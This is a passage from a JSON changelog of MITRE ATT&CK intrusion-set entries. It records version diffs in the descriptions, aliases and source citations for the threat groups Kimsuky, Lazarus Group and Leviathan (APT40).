United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)\\n+[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\\n+\\n+[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\\n+\\n+North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)\", \"old_value\": \"(Citation: Securelist Kimsuky Sept 2013)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"STOLEN PENCIL\", \"old_value\": \"Thallium\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: Netscout Stolen Pencil Dec 2018)\", \"old_value\": \"(Citation: Cybereason Kimsuky November 2020)\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Thallium\", \"old_value\": \"Black Banshee\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)\", \"old_value\": \"(Citation: Cybereason Kimsuky November 2020)\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Black Banshee\", \"old_value\": \"Velvet Chollima\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)\", \"old_value\": \"(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Velvet Chollima\", \"old_value\": \"EST Kimsuky April 2019\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)\", \"old_value\": \"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"EST Kimsuky April 2019\", \"old_value\": \"BRI Kimsuky April 2019\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.\", \"old_value\": \"BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://blog.alyac.co.kr/2234\", \"old_value\": \"https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"BRI Kimsuky April 2019\", \"old_value\": \"Cybereason Kimsuky November 2020\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.\", \"old_value\": \"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/\", \"old_value\": \"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"Cybereason Kimsuky November 2020\", \"old_value\": \"Securelist Kimsuky Sept 2013\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.\", \"old_value\": \"Tarakanov , D.. (2013, September 11). The \\u201cKimsuky\\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite\", \"old_value\": \"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"Malwarebytes Kimsuky June 2021\", \"old_value\": \"Zdnet Kimsuky Dec 2018\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.\", \"old_value\": \"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/\", \"old_value\": \"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/\"}, \"root['external_references'][10]['source_name']\": {\"new_value\": \"CISA AA20-301A Kimsuky\", \"old_value\": \"ThreatConnect Kimsuky September 2020\"}, \"root['external_references'][10]['description']\": {\"new_value\": \"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.\", \"old_value\": \"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.\"}, \"root['external_references'][10]['url']\": {\"new_value\": \"https://us-cert.cisa.gov/ncas/alerts/aa20-301a\", \"old_value\": \"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"STOLEN PENCIL\", \"root['external_references'][11]\": {\"source_name\": \"Netscout Stolen Pencil Dec 2018\", \"description\": \"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.\", \"url\": \"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/\"}, \"root['external_references'][12]\": {\"source_name\": \"EST Kimsuky SmokeScreen April 2019\", \"description\": \"ESTSecurity. (2019, April 17). Analysis of the APT Campaign \\u2018Smoke Screen\\u2019 targeting to Korea and US \\ucd9c\\ucc98: https://blog.alyac.co.kr/2243 [\\uc774\\uc2a4\\ud2b8\\uc2dc\\ud050\\ub9ac\\ud2f0 \\uc54c\\uc57d \\ube14\\ub85c\\uadf8]. Retrieved September 29, 2021.\", \"url\": \"https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf\"}, \"root['external_references'][13]\": {\"source_name\": \"AhnLab Kimsuky Kabar Cobra Feb 2019\", \"description\": \"AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.\", \"url\": \"https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf\"}, \"root['external_references'][14]\": {\"source_name\": \"Securelist Kimsuky Sept 2013\", \"description\": \"Tarakanov , D.. (2013, September 11). The \\u201cKimsuky\\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.\", \"url\": \"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/\"}, \"root['external_references'][15]\": {\"source_name\": \"Zdnet Kimsuky Dec 2018\", \"description\": \"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.\", \"url\": \"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/\"}, \"root['external_references'][16]\": {\"source_name\": \"ThreatConnect Kimsuky September 2020\", \"description\": \"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.\", \"url\": \"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 3.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North t1[Kimsuky](https://attack.mitre.org/groups/G0094) is a North 
>Korean-based threat group that has been active since at leas>Korea-based cyber espionage group that has been active since
>t September 2013. The group initially focused on targeting K> at least 2012. The group initially focused on targeting Sou
>orean think tanks and DPRK/nuclear-related targets, expandin>th Korean government entities, think tanks, and individuals 
>g recently to the United States, Russia, and Europe. The gro>identified as experts in various fields, and expanded its op
>up was attributed as the actor behind the Korea Hydro & Nucl>erations to include the United States, Russia, Europe, and t
>ear Power Co. compromise.(Citation: EST Kimsuky April 2019)(>he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has 
>Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsu>focused its intelligence collection activities on foreign po
>ky November 2020)>licy and national security issues related to the Korean peni
 >nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky 
 >April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe
 >reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky
 > June 2021)(Citation: CISA AA20-301A Kimsuky)  [Kimsuky](htt
 >ps://attack.mitre.org/groups/G0094) was assessed to be respo
 >nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi
 >se; other notable campaigns include Operation STOLEN PENCIL 
 >(2018), Operation Kabar Cobra (2019), and Operation Smoke Sc
 >reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita
 >tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K
 >imsuky Kabar Cobra Feb 2019)  North Korean group definitions
 > are known to have significant overlap, and some security re
 >searchers report all North Korean state-sponsored cyber acti
 >vity under the name [Lazarus Group](https://attack.mitre.org
 >/groups/G0032) instead of tracking clusters or subgroups.
" }, { "type": "intrusion-set", "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:03.807000+00:00", "modified": "2021-10-14 22:04:58.182000+00:00", "name": "Lazarus Group", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). ", "aliases": [ "Lazarus Group", "HIDDEN COBRA", "Guardians of Peace", "ZINC", "NICKEL ACADEMY" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0032", "external_id": "G0032" }, { "source_name": "Lazarus Group", "description": "(Citation: Novetta Blockbuster)" }, { "source_name": "HIDDEN COBRA", "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)" }, { "source_name": "Guardians of Peace", "description": "(Citation: US-CERT HIDDEN COBRA June 2017)" }, { "source_name": "ZINC", "description": "(Citation: Microsoft ZINC disruption Dec 2017)" }, { "source_name": "NICKEL ACADEMY", "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)" }, { "source_name": "US-CERT HIDDEN COBRA June 2017", "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" }, { "source_name": "Treasury North Korean Cyber Groups September 2019", "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", "url": "https://home.treasury.gov/news/press-releases/sm774" }, { "source_name": "Novetta Blockbuster", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" }, { "source_name": "US-CERT HOPLIGHT Apr 2019", "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" }, { "source_name": "Microsoft ZINC disruption Dec 2017", "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/" }, { "source_name": "Secureworks NICKEL ACADEMY Dec 2017", "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 22:04:58.182000+00:00\", \"old_value\": \"2021-03-18 16:34:25.941000+00:00\"}, \"root['description']\": {\"new_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \", \"old_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\\n\\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\\n+[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)\\n \\n-North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.\\n+North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"Treasury North Korean Cyber Groups September 2019\", \"old_value\": \"Novetta Blockbuster\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.\", \"old_value\": \"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://home.treasury.gov/news/press-releases/sm774\", \"old_value\": \"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"Novetta Blockbuster\", \"old_value\": \"Lazarus KillDisk\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.\", \"old_value\": \"K\\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf\", \"old_value\": \"https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"US-CERT HOPLIGHT Apr 2019\", \"old_value\": \"Kaspersky Lazarus Under The Hood Blog 2017\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"US-CERT. (2019, April 10). MAR-10135536-8 \\u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.\", \"old_value\": \"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A\", \"old_value\": \"https://securelist.com/lazarus-under-the-hood/77908/\"}, \"root['external_references'][10]['source_name']\": {\"new_value\": \"Microsoft ZINC disruption Dec 2017\", \"old_value\": \"US-CERT HOPLIGHT Apr 2019\"}, \"root['external_references'][10]['description']\": {\"new_value\": \"Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.\", \"old_value\": \"US-CERT. (2019, April 10). MAR-10135536-8 \\u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.\"}, \"root['external_references'][10]['url']\": {\"new_value\": \"https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/\", \"old_value\": \"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A\"}, \"root['external_references'][11]['source_name']\": {\"new_value\": \"Secureworks NICKEL ACADEMY Dec 2017\", \"old_value\": \"Microsoft ZINC disruption Dec 2017\"}, \"root['external_references'][11]['description']\": {\"new_value\": \"Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.\", \"old_value\": \"Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.\"}, \"root['external_references'][11]['url']\": {\"new_value\": \"https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing\", \"old_value\": \"https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.5\"}}, \"iterable_item_removed\": {\"root['external_references'][12]\": {\"source_name\": \"Secureworks NICKEL ACADEMY Dec 2017\", \"description\": \"Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.\", \"url\": \"https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing\"}}}", "previous_version": "1.5", "version_change": "1.5 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a 
>threat group that has been attributed to the North Korean go>North Korean state-sponsored cyber threat group that has bee
>vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou>n attributed to the Reconnaissance General Bureau.(Citation:
>p has been active since at least 2009 and was reportedly res> US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko
>ponsible for the November 2014 destructive wiper attack agai>rean Cyber Groups September 2019) The group has been active 
>nst Sony Pictures Entertainment as part of a campaign named >since at least 2009 and was reportedly responsible for the N
>Operation Blockbuster by Novetta. Malware used by [Lazarus G>ovember 2014 destructive wiper attack against Sony Pictures 
>roup](https://attack.mitre.org/groups/G0032) correlates to o>Entertainment as part of a campaign named Operation Blockbus
>ther reported campaigns, including Operation Flame, Operatio>ter by Novetta. Malware used by [Lazarus Group](https://atta
>n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.>ck.mitre.org/groups/G0032) correlates to other reported camp
> (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou>aigns, including Operation Flame, Operation 1Mission, Operat
>p](https://attack.mitre.org/groups/G0032) used KillDisk, a d>ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett
>isk-wiping tool, in an attack against an online casino based>a Blockbuster)  North Korean group definitions are known to 
> in Central America. (Citation: Lazarus KillDisk)  North Kor>have significant overlap, and some security researchers repo
>ean group definitions are known to have significant overlap,>rt all North Korean state-sponsored cyber activity under the
> and the name [Lazarus Group](https://attack.mitre.org/group> name [Lazarus Group](https://attack.mitre.org/groups/G0032)
>s/G0032) is known to encompass a broad range of activity. So> instead of tracking clusters or subgroups, such as [Andarie
>me organizations use the name Lazarus Group to refer to any >l](https://attack.mitre.org/groups/G0138), [APT37](https://a
>activity attributed to North Korea.(Citation: US-CERT HIDDEN>ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre.
> COBRA June 2017) Some organizations track North Korean clus>org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr
>ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar>oups/G0094).   
>us Under The Hood Blog 2017) [APT37](https://attack.mitre.or 
>g/groups/G0067), and [APT38](https://attack.mitre.org/groups 
>/G0082) separately, while other organizations may track some 
> activity associated with those group names by the name Laza 
>rus Group. 
" }, { "type": "intrusion-set", "id": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-10-14 20:34:57.289000+00:00", "name": "Leviathan", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)", "aliases": [ "Leviathan", "MUDCARP", "Kryptonite Panda", "Gadolinium", "BRONZE MOHAWK", "TEMP.Jumper", "APT40", "TEMP.Periscope" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0065", "external_id": "G0065" }, { "source_name": "Leviathan", "description": "(Citation: Proofpoint Leviathan Oct 2017)" }, { "source_name": "MUDCARP", "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)" }, { "source_name": "Kryptonite Panda", "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018)" }, { "source_name": "Gadolinium", "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020)" }, { "source_name": "BRONZE MOHAWK", "description": "(Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.)" }, { "source_name": "TEMP.Jumper", "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019)" }, { "source_name": "APT40", "description": "FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)" }, { "source_name": "TEMP.Periscope", "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)" }, { "source_name": "CISA AA21-200A APT40 July 2021", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a" }, { "source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" }, { "source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" }, { "source_name": "Accenture MUDCARP March 2019", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.", "url": 